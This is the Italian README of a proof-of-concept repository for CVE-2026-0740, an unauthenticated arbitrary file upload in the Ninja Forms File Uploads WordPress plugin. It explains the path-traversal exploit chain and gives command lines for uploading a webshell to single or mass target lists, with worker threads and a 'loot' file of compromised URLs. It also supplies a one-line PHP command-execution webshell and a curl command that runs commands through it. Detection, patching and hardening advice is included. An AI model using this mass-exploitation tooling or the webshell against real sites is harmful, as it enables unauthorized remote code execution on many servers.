
PoC per CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Caricamento arbitrario di file non autenticato che può portare a RCE.
Autore: 0xNuts
Contributore: Cursor
Repository: https://github.com/ExDev994/CVE-2026-0740-mass
PoC per CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Unauthenticated Arbitrary File Upload che può portare a RCE.
La vulnerabilità iniziale è stata scoperta da Sélim Lanouar (@whattheslime). Il PoC del motore di exploit per target di massa è stato sviluppato da 0xNuts con il contributo di Cursor.
Questo repository è fornito solo per ricerca sulla sicurezza e scopi difensivi (pentest autorizzato, red team con permesso scritto, validazione delle patch e hardening).
Il plugin Ninja Forms - File Uploads per WordPress è vulnerabile a unauthenticated arbitrary file upload in tutte le versioni fino alla 3.3.26 (inclusa).
Catena di sfruttamento:
nf_fu_get_new_nonce con un field_id arbitrario.nf_fu_upload valida l'estensione del file caricato (es. image.jpg), ma l'attaccante può sovrascrivere il nome del file di destinazione tramite il parametro POST (image_jpg).move_uploaded_file() senza una sanificazione adeguata → estensione arbitraria + path traversal (../).La patch completa è disponibile nella versione 3.3.27+.
Questo repository contiene solo CVE-2026-0740.py e README.md. Installa le dipendenze manualmente:
python3 -m venv .venv
source .venv/bin/activate # Linux/macOS/WSL
# .venv\Scripts\activate # Windows
pip install httpx==0.28.1 socksio==1.0.0
python3 CVE-2026-0740.py -h
Nota: è obbligatorio usare esattamente uno tra -t e -f.
python3 CVE-2026-0740.py -t http://target.com --shell shell.php
Con path traversal esplicito:
python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php
Crea un file target.txt:
http://site1.com
https://site2.com
10.0.0.5
# baris komentar diabaikan
Esegui:
python3 CVE-2026-0740.py -f target.txt --shell shell.php
Con la regolazione dei worker e output loot:
python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt
Gli URL delle shell caricate con successo verranno scritti nel file loot (modalità append).
echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php
Dopo il caricamento riuscito, lo script mostra l'URL della shell. Verifica (solo su lab/target autorizzato):
curl "http://target.com/wp-content/shell.php?cmd=id"
httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'
Aggiorna Ninja Forms - File Uploads alla versione 3.3.27 o successiva immediatamente.
Ninja Forms - File UploadsDopo l'aggiornamento:
wp-admin/admin-ajax.php con le action nf_fu_get_new_nonce / nf_fu_upload — l'upload arbitrario deve essere rifiutatoControlla le directory di upload di WordPress:
wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/
Cerca file estranei: .php, .pht, .phtml, .phar, .html, .svg, .js che non dovrebbero esserci.
Controlla anche i log del web server per le richieste a:
/wp-admin/admin-ajax.php
con i parametri action=nf_fu_get_new_nonce o action=nf_fu_upload.
WAF / rate limiting su /wp-admin/admin-ajax.php per bloccare l'abuso degli upload di massa
Disabilitare l'esecuzione PHP nella directory wp-content/uploads/ tramite la configurazione del web server:
Apache (.htaccess in uploads/):
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
Nginx:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
}
Least privilege: assicurati che i permessi dei file di upload non siano scrivibili dal web server al di fuori delle directory necessarie
Monitoring: genera alert sui POST verso admin-ajax.php con action nf_fu_* provenienti da IP esterni o con volume elevato
Backup & incident response: se vengono trovati IoC, isola il sito, ruota le credenziali di DB/admin, verifica altri plugin/temi
Disattiva e rimuovi il plugin Ninja Forms - File Uploads se la funzionalità di upload non è necessaria.
| Vettore / Estensione | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|
Path traversal (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
| Flag | Funzione |
|---|
-t, --target | Target singolo (URL singolo) |
-f, --targets-file | File .txt contenente l'elenco dei target (un URL per riga) |
--shell | File payload/webshell da caricare (obbligatorio) |
-d, --dest | Path traversal di destinazione (default: ../../../) |
-w, --workers | Numero di thread concorrenti (default: 20) |
-o, --output | File loot per gli URL delle shell riusciti (default: results.txt) |
-x, --proxy | Proxy HTTP (es. http://127.0.0.1:8080) |
-H, --headers | Header personalizzati (formato: 'Header: Value') |
--timeout | Timeout HTTP in secondi (default: 10) |